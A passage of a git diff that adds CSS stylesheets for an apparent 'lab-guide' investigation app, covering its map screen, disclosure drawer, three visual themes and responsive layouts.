+  grid-template: none;
+  height: calc(100dvh - var(--header-height));
+  min-height: 0;
+  overflow: hidden;
+}
+
+.map-stage,
+.consultation-stage {
+  order: initial;
+  width: 100%;
+  height: 100%;
+  min-height: 0;
+  margin-inline: auto;
+  background-color: var(--canvas);
+}
+
+.map-stage {
+  max-width: 1540px;
+  padding: 24px clamp(22px, 3vw, 48px) 16px;
+  overflow: hidden;
+}
+
+.stage-intro h1,
+.consultation-intro h1 {
+  text-wrap: balance;
+}
+
+.consultation-stage {
+  max-width: 1040px;
+  padding: 30px clamp(24px, 4vw, 52px) 28px;
+  overflow-y: auto;
+}
+
+.stage-context {
+  display: grid;
+  grid-template-columns: 30px minmax(0, 1fr) auto;
+  gap: 12px;
+  align-items: center;
+  min-height: 54px;
+  padding: 8px 14px;
+  margin-top: 15px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-left: 4px solid var(--primary);
+}
+
+.stage-context > svg {
+  width: 25px;
+  height: 25px;
+  color: var(--primary);
+}
+
+.stage-context small,
+.stage-context strong {
+  display: block;
+}
+
+.stage-context > span small {
+  display: inline;
+}
+
+.stage-context div > small {
+  margin-bottom: 2px;
+  color: var(--muted-text);
+  font-family: var(--mono);
+  font-size: 9px;
+  font-weight: 700;
+  letter-spacing: 0.08em;
+}
+
+.stage-context strong {
+  font-size: 14px;
+  line-height: 1.5;
+}
+
+.stage-context > span {
+  min-width: 56px;
+  padding: 5px 8px;
+  color: var(--primary-hover);
+  text-align: center;
+  border: 1px solid var(--primary);
+  font-family: var(--mono);
+  font-size: 12px;
+  font-weight: 720;
+}
+
+.disclosure-pulls {
+  display: flex;
+  gap: 8px;
+  align-items: flex-start;
+  min-height: 54px;
+  padding-top: 9px;
+  margin-top: 8px;
+  overflow-x: auto;
+  scrollbar-width: none;
+}
+
+.disclosure-pulls::-webkit-scrollbar {
+  display: none;
+}
+
+.disclosure-pull {
+  position: relative;
+  flex: 0 0 auto;
+  display: grid;
+  grid-template-columns: 20px auto auto;
+  gap: 7px;
+  align-items: center;
+  min-height: 44px;
+  padding: 0 11px;
+  color: var(--text);
+  white-space: nowrap;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 3px;
+  font-size: 12px;
+  font-weight: 690;
+}
+
+.disclosure-pull:hover,
+.disclosure-pull[aria-expanded="true"] {
+  color: var(--primary-hover);
+  border-color: var(--primary);
+}
+
+.disclosure-pull:hover {
+  transform: translateY(-1px);
+}
+
+.disclosure-pull-cord {
+  position: absolute;
+  top: -10px;
+  left: 20px;
+  width: 1px;
+  height: 9px;
+  background: var(--border);
+}
+
+.disclosure-pull-icon {
+  display: grid;
+  place-items: center;
+}
+
+.disclosure-pull-icon svg {
+  width: 18px;
+  height: 18px;
+}
+
+.disclosure-pull-meta {
+  min-width: 30px;
+  padding: 2px 5px;
+  color: var(--muted-text);
+  text-align: center;
+  background: var(--muted-surface);
+  border-radius: 2px;
+  font-family: var(--mono);
+  font-size: 9px;
+}
+
+.map-toolbar {
+  position: relative;
+  min-height: 48px;
+  margin-top: 2px;
+}
+
+.map-legend-details {
+  position: relative;
+  z-index: 12;
+}
+
+.map-legend-details > summary {
+  display: grid;
+  min-height: 40px;
+  padding: 0 11px;
+  color: var(--muted-text);
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 3px;
+  font-size: 11px;
+  font-weight: 680;
+  list-style: none;
+  place-items: center;
+  cursor: pointer;
+}
+
+.map-legend-details[open] > summary {
+  color: var(--text);
+  border-color: var(--primary);
+}
+
+.map-legend-details .map-legend {
+  position: absolute;
+  top: calc(100% + 7px);
+  right: 0;
+  display: grid;
+  gap: 9px;
+  width: 150px;
+  padding: 11px;
+  color: var(--text);
+  white-space: normal;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 3px;
+  box-shadow: 0 12px 34px var(--ink-shadow);
+}
+
+.disclosure-layer {
+  position: fixed;
+  z-index: 100;
+  inset: 0;
+  display: flex;
+  justify-content: flex-end;
+  background: rgb(10 12 12 / 42%);
+  backdrop-filter: blur(2px);
+  animation: disclosure-fade 160ms var(--ease-out) both;
+}
+
+.disclosure-drawer {
+  display: grid;
+  grid-template-rows: 68px minmax(0, 1fr);
+  width: min(480px, 100%);
+  height: 100%;
+  min-height: 0;
+  color: var(--text);
+  background: var(--surface);
+  border-left: 1px solid var(--border);
+  box-shadow: -22px 0 70px rgb(0 0 0 / 22%);
+  animation: disclosure-enter 200ms var(--ease-out) both;
+}
+
+.disclosure-drawer-header {
+  display: grid;
+  grid-template-columns: 28px minmax(0, 1fr) 44px;
+  gap: 10px;
+  align-items: center;
+  padding: 0 14px 0 18px;
+  border-bottom: 1px solid var(--border);
+}
+
+.disclosure-drawer-header h2 {
+  margin: 0;
+  font-family: var(--heading);
+  font-size: 20px;
+}
+
+.disclosure-drawer-grip {
+  display: grid;
+  color: var(--muted-text);
+  place-items: center;
+}
+
+.disclosure-drawer-grip svg,
+.disclosure-close svg {
+  width: 22px;
+  height: 22px;
+}
+
+.disclosure-close {
+  display: grid;
+  width: 44px;
+  height: 44px;
+  background: transparent;
+  border: 1px solid var(--border);
+  border-radius: 3px;
+  place-items: center;
+}
+
+.disclosure-close:hover {
+  color: var(--primary-hover);
+  border-color: var(--primary);
+}
+
+.disclosure-drawer-body {
+  min-height: 0;
+  padding: 22px;
+  overflow-y: auto;
+  overscroll-behavior: contain;
+}
+
+.disclosure-drawer .known-facts,
+.disclosure-drawer .investigation-rail,
+.disclosure-drawer .hint-rail,
+.disclosure-drawer .event-strip {
+  display: block;
+  order: initial;
+  min-width: 0;
+  min-height: 0;
+  padding: 0;
+  overflow: visible;
+  background: transparent;
+  border: 0;
+  box-shadow: none;
+}
+
+.disclosure-drawer .fact-list,
+.disclosure-drawer .investigation-list,
+.disclosure-drawer .hint-list,
+.disclosure-drawer .event-list {
+  grid-template-columns: 1fr;
+}
+
+.disclosure-drawer .known-facts--detailed .fact-item {
+  grid-template-columns: 20px 50px minmax(0, 1fr);
+  min-height: 82px;
+  padding: 10px 0;
+  border-bottom: 1px solid var(--border);
+}
+
+.disclosure-drawer .known-facts--detailed .fact-copy small {
+  display: block;
+}
+
+.disclosure-drawer .rail-card,
+.disclosure-drawer .direct-connection {
+  display: grid;
+}
+
+.disclosure-drawer .investigation-option {
+  min-height: 96px;
+}
+
+.disclosure-drawer .event-list {
+  display: grid;
+}
+
+.disclosure-drawer .event-list li {
+  grid-template-columns: 64px minmax(0, 1fr);
+  gap: 12px;
+  align-items: start;
+  min-height: 58px;
+  padding: 12px 0;
+  border-bottom: 1px solid var(--border);
+  border-left: 0;
+}
+
+.disclosure-drawer .event-list time {
+  margin: 1px 0 0;
+}
+
+.disclosure-drawer .event-list span {
+  display: block;
+  overflow: visible;
+  font-size: 13px;
+  -webkit-line-clamp: initial;
+}
+
+.disclosure-drawer .events-empty {
+  padding: 20px 0;
+}
+
+.disclosure-drawer .telemetry-note {
+  padding: 16px 0 0;
+  margin-top: 8px;
+  border-top: 1px solid var(--border);
+}
+
+.disclosure-drawer .session-pairing {
+  grid-template-columns: 48px minmax(0, 1fr);
+  gap: 13px;
+  min-height: 0;
+  padding: 16px;
+  margin: 0;
+  box-shadow: none;
+}
+
+.disclosure-drawer .session-pairing form {
+  grid-column: 1 / -1;
+}
+
+@keyframes disclosure-enter {
+  from {
+    opacity: 0.75;
+    transform: translateX(34px);
+  }
+}
+
+@keyframes disclosure-fade {
+  from {
+    background: transparent;
+    backdrop-filter: blur(0);
+  }
+}
diff --git a/apps/lab-guide/src/styles/disclosure-themes.css b/apps/lab-guide/src/styles/disclosure-themes.css
new file mode 100644
index 0000000..69a7437
--- /dev/null
+++ b/apps/lab-guide/src/styles/disclosure-themes.css
@@ -0,0 +1,279 @@
+/* PLAY / Mission Deck ----------------------------------------------------- */
+
+:root[data-theme="play"] .theme-menu > summary {
+  color: #fffdf5;
+  background: #292823;
+  border: 2px solid #4a4942;
+  border-radius: 1px;
+}
+
+:root[data-theme="play"] .theme-menu > summary span {
+  color: #bcb8aa;
+}
+
+:root[data-theme="play"] .theme-menu > summary strong {
+  color: var(--signal);
+}
+
+:root[data-theme="play"] .theme-menu-options {
+  color: #fffdf5;
+  background: #11110e;
+  border: 3px solid var(--signal);
+  border-radius: 1px;
+  box-shadow: 6px 6px 0 rgb(0 0 0 / 34%);
+}
+
+:root[data-theme="play"] .theme-menu-options button[aria-pressed="true"] {
+  color: #11110e;
+  background: var(--signal);
+  border-color: var(--signal);
+}
+
+:root[data-theme="play"] .stage-context {
+  color: #fffdf5;
+  background: #11110e;
+  border: 2px solid #11110e;
+  border-left: 8px solid var(--accent);
+  box-shadow: 4px 4px 0 rgb(21 20 16 / 15%);
+}
+
+:root[data-theme="play"] .stage-context div > small {
+  color: var(--signal);
+}
+
+:root[data-theme="play"] .stage-context > svg {
+  color: var(--accent);
+}
+
+:root[data-theme="play"] .stage-context > span {
+  color: #11110e;
+  background: var(--signal);
+  border: 2px solid var(--signal);
+}
+
+:root[data-theme="play"] .disclosure-pull {
+  border: 2px solid #11110e;
+  border-radius: 1px;
+  box-shadow: 3px 3px 0 rgb(21 20 16 / 16%);
+  font-weight: 780;
+}
+
+:root[data-theme="play"] .disclosure-pull-cord {
+  width: 2px;
+  background: #11110e;
+}
+
+:root[data-theme="play"] .disclosure-pull[aria-expanded="true"],
+:root[data-theme="play"] .disclosure-pull:hover {
+  color: #11110e;
+  background: var(--signal);
+  border-color: #11110e;
+}
+
+:root[data-theme="play"] .disclosure-drawer {
+  background: var(--surface);
+  border-left: 4px solid #11110e;
+}
+
+:root[data-theme="play"] .disclosure-drawer-header {
+  color: #fffdf5;
+  background: #11110e;
+  border-bottom: 4px solid var(--signal);
+}
+
+:root[data-theme="play"] .disclosure-close {
+  color: #11110e;
+  background: var(--signal);
+  border: 2px solid var(--signal);
+  border-radius: 1px;
+}
+
+/* OPS / Night Circuit ----------------------------------------------------- */
+
+:root[data-theme="ops"] .theme-menu > summary {
+  color: var(--text);
+  background: #09171c;
+  border-color: #31535b;
+  border-radius: 2px;
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .theme-menu > summary span {
+  color: #688681;
+}
+
+:root[data-theme="ops"] .theme-menu > summary strong {
+  color: var(--primary);
+}
+
+:root[data-theme="ops"] .theme-menu-options {
+  background: #071419;
+  border-color: var(--primary);
+  border-radius: 2px;
+  box-shadow: 0 0 26px rgb(89 231 194 / 15%);
+}
+
+:root[data-theme="ops"] .theme-menu-options button {
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .theme-menu-options button[aria-pressed="true"] {
+  color: #071217;
+  background: var(--primary);
+  border-color: var(--primary);
+}
+
+:root[data-theme="ops"] .stage-context {
+  background: #061015;
+  border-color: #28474e;
+  border-left-color: var(--primary);
+}
+
+:root[data-theme="ops"] .stage-context > span {
+  color: var(--primary);
+  border-color: #31535b;
+}
+
+:root[data-theme="ops"] .disclosure-pull {
+  background: #08171c;
+  border-color: #31535b;
+  border-radius: 2px;
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .disclosure-pull-cord {
+  background: var(--primary);
+  box-shadow: 0 0 7px rgb(89 231 194 / 35%);
+}
+
+:root[data-theme="ops"] .disclosure-pull[aria-expanded="true"],
+:root[data-theme="ops"] .disclosure-pull:hover {
+  color: var(--primary);
+  background: #0d2027;
+  border-color: var(--primary);
+  box-shadow: 0 0 16px rgb(89 231 194 / 11%);
+}
+
+:root[data-theme="ops"] .disclosure-drawer {
+  background: #071419;
+  border-left-color: var(--primary);
+  box-shadow: -18px 0 70px rgb(0 0 0 / 55%);
+}
+
+:root[data-theme="ops"] .disclosure-drawer-header {
+  background: #061015;
+  border-bottom-color: #28474e;
+}
+
+:root[data-theme="ops"] .disclosure-drawer-header h2 {
+  color: var(--primary);
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .disclosure-close {
+  color: var(--primary);
+  background: #0a181e;
+  border-color: #31535b;
+  border-radius: 2px;
+}
+
+/* FOCUS / Field Notes ----------------------------------------------------- */
+
+:root[data-theme="focus"] .theme-menu > summary {
+  color: var(--text);
+  background: transparent;
+  border: 0;
+  border-bottom: 1px solid var(--text);
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .theme-menu > summary span {
+  color: var(--muted-text);
+}
+
+:root[data-theme="focus"] .theme-menu > summary strong {
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .theme-menu-options {
+  border: 2px solid var(--text);
+  border-radius: 0;
+  box-shadow: 8px 8px 0 rgb(17 17 15 / 10%);
+}
+
+:root[data-theme="focus"] .theme-menu-options button {
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .theme-menu-options button[aria-pressed="true"] {
+  color: var(--primary);
+  background: transparent;
+  border: 0;
+  border-bottom: 2px solid var(--primary);
+}
+
+:root[data-theme="focus"] .stage-context {
+  padding-inline: 0;
+  background: transparent;
+  border-width: 1px 0;
+  border-left: 0;
+}
+
+:root[data-theme="focus"] .stage-context > span {
+  color: var(--primary);
+  border-width: 0 0 1px;
+}
+
+:root[data-theme="focus"] .disclosure-pull {
+  padding-inline: 8px;
+  background: transparent;
+  border-width: 0 0 1px;
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .disclosure-pull-cord {
+  background: var(--primary);
+}
+
+:root[data-theme="focus"] .disclosure-pull[aria-expanded="true"],
+:root[data-theme="focus"] .disclosure-pull:hover {
+  color: var(--primary);
+  background: transparent;
+  border-color: var(--primary);
+}
+
+:root[data-theme="focus"] .disclosure-pull-meta {
+  background: transparent;
+}
+
+:root[data-theme="focus"] .disclosure-drawer {
+  background: var(--surface);
+  border-left: 2px solid var(--text);
+  box-shadow: -14px 0 42px rgb(17 17 15 / 12%);
+}
+
+:root[data-theme="focus"] .disclosure-drawer-header {
+  border-bottom: 2px solid var(--text);
+}
+
+:root[data-theme="focus"] .disclosure-close {
+  border-color: var(--text);
+  border-radius: 0;
+}
+
+:root[data-theme="play"] .disclosure-drawer .known-facts,
+:root[data-theme="play"] .disclosure-drawer .investigation-rail,
+:root[data-theme="play"] .disclosure-drawer .hint-rail,
+:root[data-theme="play"] .disclosure-drawer .event-strip,
+:root[data-theme="ops"] .disclosure-drawer .known-facts,
+:root[data-theme="ops"] .disclosure-drawer .investigation-rail,
+:root[data-theme="ops"] .disclosure-drawer .hint-rail,
+:root[data-theme="ops"] .disclosure-drawer .event-strip,
+:root[data-theme="focus"] .disclosure-drawer .known-facts,
+:root[data-theme="focus"] .disclosure-drawer .investigation-rail,
+:root[data-theme="focus"] .disclosure-drawer .hint-rail,
+:root[data-theme="focus"] .disclosure-drawer .event-strip {
+  background: transparent;
+  border: 0;
+  box-shadow: none;
+}
diff --git a/apps/lab-guide/src/styles/map.css b/apps/lab-guide/src/styles/map.css
new file mode 100644
index 0000000..5758cff
--- /dev/null
+++ b/apps/lab-guide/src/styles/map.css
@@ -0,0 +1,350 @@
+.map-screen {
+  display: grid;
+  grid-template-columns: clamp(260px, 20.1vw, 336px) minmax(0, 1fr) clamp(300px, 22.9vw, 384px);
+  grid-template-rows: minmax(0, 1fr) 108px;
+  height: calc(100dvh - var(--header-height));
+}
+
+.map-screen .known-facts {
+  grid-row: 1 / -1;
+}
+
+.map-stage {
+  display: flex;
+  flex-direction: column;
+  min-width: 0;
+  min-height: 0;
+  padding: 30px 30px 0;
+  overflow: hidden;
+  background: var(--canvas);
+}
+
+.stage-intro h1 {
+  margin-bottom: 8px;
+  font-family: var(--heading);
+  font-size: clamp(25px, 2vw, 31px);
+  font-weight: 650;
+  letter-spacing: 0.015em;
+}
+
+.stage-intro p {
+  margin-bottom: 0;
+  color: var(--muted-text);
+  font-size: 15px;
+  line-height: 1.7;
+}
+
+.success-callout {
+  display: grid;
+  grid-template-columns: 38px minmax(0, 1fr);
+  gap: 13px;
+  align-items: center;
+  padding: 12px 15px;
+  margin-top: 16px;
+  color: var(--success);
+  background: color-mix(in srgb, var(--success) 5%, var(--surface));
+  border: 1px solid color-mix(in srgb, var(--success) 36%, var(--border));
+  border-radius: 6px;
+}
+
+.success-callout > svg {
+  width: 30px;
+  height: 30px;
+}
+
+.success-callout strong,
+.success-callout span {
+  display: block;
+}
+
+.success-callout strong {
+  margin-bottom: 2px;
+  font-size: 14px;
+}
+
+.success-callout span {
+  color: var(--muted-text);
+  font-size: 12px;
+}
+
+.map-toolbar {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  gap: 24px;
+  min-height: 58px;
+  margin-top: 20px;
+}
+
+.map-toolbar h2 {
+  display: flex;
+  align-items: center;
+  gap: 11px;
+  margin: 0;
+  font-family: var(--heading);
+  font-size: 20px;
+}
+
+.map-toolbar h2 svg {
+  width: 27px;
+  height: 27px;
+  color: var(--primary);
+}
+
+.map-legend {
+  display: flex;
+  align-items: center;
+  gap: 22px;
+  color: var(--muted-text);
+  font-size: 13px;
+  white-space: nowrap;
+}
+
+.map-legend span {
+  display: inline-flex;
+  align-items: center;
+  gap: 7px;
+}
+
+.map-legend svg {
+  width: 21px;
+  height: 21px;
+}
+
+.map-legend span:nth-child(1) svg {
+  color: var(--success);
+}
+
+.map-legend span:nth-child(2) svg {
+  color: var(--primary);
+}
+
+.map-canvas {
+  flex: 1;
+  min-height: 340px;
+  margin: 0 -4px;
+}
+
+.map-canvas .react-flow {
+  background: transparent;
+}
+
+.react-flow__node-world {
+  width: 190px;
+  border: 0;
+}
+
+.world-node {
+  display: flex;
+  gap: 8px;
+  align-items: center;
+  min-height: 86px;
+  padding: 13px 10px;
+  color: var(--text);
+  background: var(--surface);
+  border: 2px solid var(--success);
+  border-radius: 6px;
+  box-shadow: 0 1px 2px rgb(31 27 22 / 5%);
+}
+
+.world-node--selected,
+.world-node.is-focused {
+  border-color: var(--primary);
+  box-shadow:
+    0 0 0 4px color-mix(in srgb, var(--warning) 25%, transparent),
+    0 1px 2px rgb(31 27 22 / 5%);
+}
+
+.world-node--undiscovered {
+  justify-content: center;
+  color: var(--muted-text);
+  background: color-mix(in srgb, var(--surface) 60%, transparent);
+  border-color: var(--muted-text);
+  border-style: dashed;
+  box-shadow: none;
+}
+
+.world-node-icon {
+  flex: 0 0 auto;
+  display: grid;
+  width: 30px;
+  place-items: center;
+}
+
+.world-node-icon svg {
+  width: 29px;
+  height: 29px;
+}
+
+.world-node-copy {
+  display: block;
+  min-width: 0;
+}
+
+.world-node-copy strong,
+.world-node-copy small,
+.world-node-copy em {
+  display: block;
+}
+
+.world-node-copy strong {
+  font-size: 14px;
+  line-height: 1.4;
+  white-space: nowrap;
+}
+
+.world-node-copy small {
+  margin-top: 2px;
+  color: var(--muted-text);
+  font-size: 11px;
+  line-height: 1.4;
+}
+
+.world-node-copy em {
+  width: fit-content;
+  padding: 1px 5px;
+  margin-top: 5px;
+  color: var(--success);
+  background: color-mix(in srgb, var(--success) 7%, var(--surface));
+  border: 1px solid color-mix(in srgb, var(--success) 36%, var(--border));
+  border-radius: 3px;
+  font-family: var(--mono);
+  font-size: 9px;
+  font-style: normal;
+}
+
+.world-node .react-flow__handle {
+  width: 1px;
+  height: 1px;
+  opacity: 0;
+}
+
+.react-flow__edge-path {
+  stroke: var(--muted-text);
+  stroke-width: 1.7;
+}
+
+.world-edge--possible .react-flow__edge-path {
+  stroke-dasharray: 7 6;
+}
+
+.react-flow__node:focus-visible {
+  outline: 3px solid color-mix(in srgb, var(--primary) 38%, white);
+  outline-offset: 4px;
+}
+
+.mobile-map {
+  display: none;
+}
+
+.investigation-rail {
+  min-width: 0;
+  padding: 34px 24px 22px;
+  overflow-y: auto;
+  background: var(--surface);
+  border-left: 1px solid var(--border);
+}
+
+.rail-intro {
+  margin-bottom: 22px;
+  color: var(--muted-text);
+  font-size: 13px;
+  line-height: 1.6;
+}
+
+.investigation-list {
+  display: grid;
+  gap: 14px;
+}
+
+.investigation-option {
+  display: grid;
+  grid-template-columns: 40px minmax(0, 1fr) 20px;
+  gap: 12px;
+  align-items: start;
+  width: 100%;
+  min-height: 112px;
+  padding: 18px 14px;
+  text-align: left;
+  background: var(--surface);
+  border: 1px solid var(--primary);
+  border-radius: 6px;
+}
+
+.investigation-option:hover {
+  background: color-mix(in srgb, var(--primary) 4%, var(--surface));
+  border-color: var(--primary-hover);
+}
+
+.investigation-option > svg:first-child {
+  width: 34px;
+  height: 34px;
+}
+
+.investigation-option > svg:last-child {
+  align-self: center;
+  width: 20px;
+  height: 20px;
+  color: var(--primary);
+}
+
+.investigation-option strong,
+.investigation-option small {
+  display: block;
+}
+
+.investigation-option strong {
+  margin-bottom: 6px;
+  font-size: 16px;
+  line-height: 1.5;
+}
+
+.investigation-option small {
+  color: var(--muted-text);
+  font-size: 12px;
+  line-height: 1.65;
+}
+
+.outline-action {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  gap: 10px;
+  width: 100%;
+  min-height: 52px;
+  margin-top: 24px;
+  background: var(--surface);
+  border: 1px solid var(--text);
+  border-radius: 4px;
+  font-weight: 650;
+}
+
+.outline-action:hover {
+  color: var(--primary-hover);
+  border-color: var(--primary);
+}
+
+.outline-action svg {
+  width: 23px;
+  height: 23px;
+}
+
+.safety-note {
+  display: flex;
+  gap: 10px;
+  align-items: flex-start;
+  margin: 20px 4px 0;
+  color: var(--muted-text);
+  font-size: 11px;
+  line-height: 1.65;
+}
+
+.safety-note svg {
+  flex: 0 0 auto;
+  width: 19px;
+  height: 19px;
+}
+
+.map-screen .event-strip {
+  grid-column: 2 / -1;
+}
diff --git a/apps/lab-guide/src/styles/responsive.css b/apps/lab-guide/src/styles/responsive.css
new file mode 100644
index 0000000..6a273a3
--- /dev/null
+++ b/apps/lab-guide/src/styles/responsive.css
@@ -0,0 +1,538 @@
+@media (min-width: 901px) {
+  body {
+    overflow: hidden;
+  }
+}
+
+@media (max-width: 1366px) and (min-width: 901px) {
+  .brand-lockup {
+    gap: 9px;
+    padding-inline: 16px;
+  }
+
+  .brand-name {
+    font-size: 21px;
+  }
+
+  .brand-lab {
+    font-size: 15px;
+  }
+
+  .primary-nav {
+    gap: 12px;
+  }
+
+  .nav-tab {
+    min-width: 130px;
+    font-size: 17px;
+  }
+
+  .known-facts,
+  .investigation-rail,
+  .hint-rail {
+    padding-inline: 18px;
+  }
+
+  .map-stage {
+    padding-inline: 22px;
+  }
+
+  .session-pairing {
+    grid-template-columns: 42px minmax(190px, 1fr) minmax(280px, 330px);
+    gap: 11px;
+    padding-inline: 11px;
+  }
+
+  .session-pairing-icon {
+    width: 40px;
+    height: 40px;
+  }
+
+  .fact-copy strong,
+  .investigation-option strong {
+    font-size: 14px;
+  }
+
+  .map-legend {
+    gap: 12px;
+    font-size: 11px;
+  }
+
+  .react-flow__node-world {
+    width: 180px;
+  }
+
+  .consultation-stage {
+    padding-inline: 26px;
+  }
+
+  .hypothesis-option {
+    font-size: 15px;
+  }
+
+  .consultation-actions {
+    gap: 12px;
+  }
+
+  .consultation-actions .primary-action,
+  .consultation-actions .secondary-action {
+    min-width: 0;
+    flex: 1;
+  }
+
+  .event-strip {
+    grid-template-columns: 130px minmax(0, 1fr) 230px;
+    padding-inline: 16px;
+  }
+}
+
+@media (max-width: 900px) {
+  :root {
+    --header-height: 108px;
+  }
+
+  .app-header {
+    position: sticky;
+    top: 0;
+    grid-template-columns: minmax(0, 1fr) auto;
+    grid-template-rows: 56px 52px;
+    height: var(--header-height);
+  }
+
+  .brand-lockup {
+    gap: 8px;
+    padding: 0 14px;
+  }
+
+  .brand-lockup > svg {
+    width: 29px;
+    height: 29px;
+  }
+
+  .brand-name {
+    font-size: 20px;
+  }
+
+  .brand-divider,
+  .brand-lab {
+    display: none;
+  }
+
+  .primary-nav {
+    grid-column: 1 / -1;
+    grid-row: 2;
+    gap: 0;
+    border-top: 1px solid var(--border);
+  }
+
+  .nav-tab {
+    flex: 1;
+    min-width: 0;
+    font-family: var(--body);
+    font-size: 15px;
+  }
+
+  .nav-tab svg {
+    width: 23px;
+    height: 23px;
+  }
+
+  .end-session-button {
+    grid-column: 2;
+    grid-row: 1;
+    min-width: 44px;
+    min-height: 44px;
+    padding: 0 10px;
+    margin-right: 8px;
+  }
+
+  .experience-label {
+    display: none;
+  }
+
+  .end-session-button span {
+    display: none;
+  }
+
+  .map-screen,
+  .consultation-screen {
+    display: flex;
+    flex-direction: column;
+    height: auto;
+    min-height: calc(100dvh - var(--header-height));
+  }
+
+  .map-screen .known-facts,
+  .consultation-screen .known-facts {
+    order: 1;
+  }
+
+  .map-screen .investigation-rail {
+    order: 2;
+  }
+
+  .map-screen .map-stage {
+    order: 3;
+  }
+
+  .map-screen--browse .map-stage {
+    order: 2;
+  }
+
+  .map-screen--browse .investigation-rail {
+    order: 3;
+  }
+
+  .consultation-stage {
+    order: 2;
+  }
+
+  .hint-rail {
+    order: 3;
+  }
+
+  .event-strip {
+    order: 4;
+  }
+
+  .known-facts,
+  .investigation-rail,
+  .hint-rail {
+    overflow: visible;
+    border-right: 0;
+    border-bottom: 1px solid var(--border);
+    border-left: 0;
+  }
+
+  .known-facts {
+    padding: 26px 22px;
+  }
+
+  .known-facts--detailed .fact-list {
+    display: grid;
+    grid-template-columns: repeat(3, minmax(0, 1fr));
+    gap: 12px;
+  }
+
+  .known-facts--detailed .fact-item {
+    grid-template-columns: 20px 46px minmax(0, 1fr);
+    padding: 8px;
+  }
+
+  .known-facts--detailed .fact-icon {
+    width: 46px;
+    height: 46px;
+  }
+
+  .rail-card,
+  .direct-connection {
+    display: none;
+  }
+
+  .map-stage,
+  .consultation-stage {
+    overflow: visible;
+  }
+
+  .map-stage {
+    padding: 28px 22px 30px;
+  }
+
+  .session-pairing {
+    grid-template-columns: 46px minmax(0, 1fr);
+  }
+
+  .session-pairing form {
+    grid-column: 1 / -1;
+  }
+
+  .map-canvas {
+    display: none;
+  }
+
+  .mobile-map {
+    display: grid;
+    gap: 10px;
+    padding: 0;
+    margin: 10px 0 0;
+    list-style: none;
+  }
+
+  .mobile-map-node {
+    display: grid;
+    grid-template-columns: 34px minmax(0, 1fr) 24px;
+    gap: 12px;
+    align-items: center;
+    width: 100%;
+    min-height: 70px;
+    padding: 12px 14px;
+    text-align: left;
+    background: var(--surface);
+    border: 1px solid var(--success);
+    border-radius: 5px;
+  }
+
+  .mobile-map-node--selected,
+  .mobile-map-node[aria-pressed="true"] {
+    border: 2px solid var(--primary);
+  }
+
+  .mobile-map-node--undiscovered {
+    color: var(--muted-text);
+    border-color: var(--muted-text);
+    border-style: dashed;
+  }
+
+  .mobile-map-node > svg {
+    width: 25px;
+    height: 25px;
+  }
+
+  .mobile-map-node > svg:last-child {
+    color: var(--success);
+  }
+
+  .mobile-map-node--selected > svg:last-child,
+  .mobile-map-node[aria-pressed="true"] > svg:last-child {
+    color: var(--primary);
+  }
+
+  .mobile-map-node strong,
+  .mobile-map-node small {
+    display: block;
+  }
+
+  .mobile-map-node small {
+    margin-top: 3px;
+    color: var(--muted-text);
+    font-size: 11px;
+  }
+
+  .investigation-rail,
+  .hint-rail {
+    padding: 28px 22px;
+  }
+
+  .investigation-list {
+    grid-template-columns: repeat(3, minmax(0, 1fr));
+  }
+
+  .investigation-option {
+    grid-template-columns: 34px minmax(0, 1fr);
+    min-height: 132px;
+  }
+
+  .investigation-option > svg:last-child {
+    display: none;
+  }
+
+  .event-strip {
+    display: grid;
+    grid-template-columns: 150px minmax(0, 1fr);
+    min-height: 0;
+    padding: 20px 22px;
+  }
+
+  .event-list {
+    grid-template-columns: 1fr;
+  }
+
+  .event-list li {
+    min-height: 52px;
+    border-bottom: 1px solid var(--border);
+  }
+
+  .telemetry-note {
+    grid-column: 1 / -1;
+    padding: 16px 0 0;
+  }
+
+  .consultation-stage {
+    padding: 32px 22px;
+  }
+
+  .consultation-intro {
+    padding-inline: 0;
+  }
+
+  .consultation-actions {
+    max-width: 640px;
+  }
+
+  .hint-list {
+    grid-template-columns: repeat(3, minmax(0, 1fr));
+  }
+
+  .hint-content {
+    min-height: 116px;
+  }
+}
+
+@media (max-width: 600px) {
+  .known-facts {
+    padding: 22px 16px;
+  }
+
+  .rail-heading {
+    margin-bottom: 16px;
+    font-size: 18px;
+  }
+
+  .known-facts--detailed .fact-list,
+  .investigation-list,
+  .hint-list {
+    grid-template-columns: 1fr;
+  }
+
+  .known-facts--detailed .fact-item {
+    min-height: 78px;
+  }
+
+  .map-stage,
+  .consultation-stage,
+  .investigation-rail,
+  .hint-rail {
+    padding: 24px 16px;
+  }
+
+  .session-pairing {
+    grid-template-columns: 40px minmax(0, 1fr);
+    gap: 10px;
+    padding: 12px;
+  }
+
+  .session-pairing-icon {
+    width: 40px;
+    height: 40px;
+  }
+
+  .session-pairing-controls {
+    grid-template-columns: 1fr;
+  }
+
+  .session-pairing .primary-action {
+    width: 100%;
+  }
+
+  .stage-intro h1,
+  .consultation-intro h1 {
+    font-size: 27px;
+    line-height: 1.45;
+  }
+
+  .map-toolbar {
+    display: block;
+    margin-top: 18px;
+  }
+
+  .map-toolbar h2 {
+    margin-bottom: 14px;
+  }
+
+  .map-legend {
+    justify-content: space-between;
+    gap: 8px;
+    font-size: 10px;
+  }
+
+  .investigation-option {
+    grid-template-columns: 38px minmax(0, 1fr) 20px;
+    min-height: 100px;
+  }
+
+  .investigation-option > svg:last-child {
+    display: block;
+  }
+
+  .event-strip {
+    display: block;
+    padding: 22px 16px;
+  }
+
+  .event-strip > h2 {
+    margin-bottom: 16px;
+  }
+
+  .event-list li {
+    padding: 12px 0;
+    border-left: 0;
+  }
+
+  .telemetry-note {
+    padding-top: 16px;
+  }
+
+  .connection-banner {
+    grid-template-columns: 25px minmax(0, 1fr);
+  }
+
+  .connection-banner button {
+    grid-column: 1 / -1;
+  }
+
+  .hypothesis-fieldset {
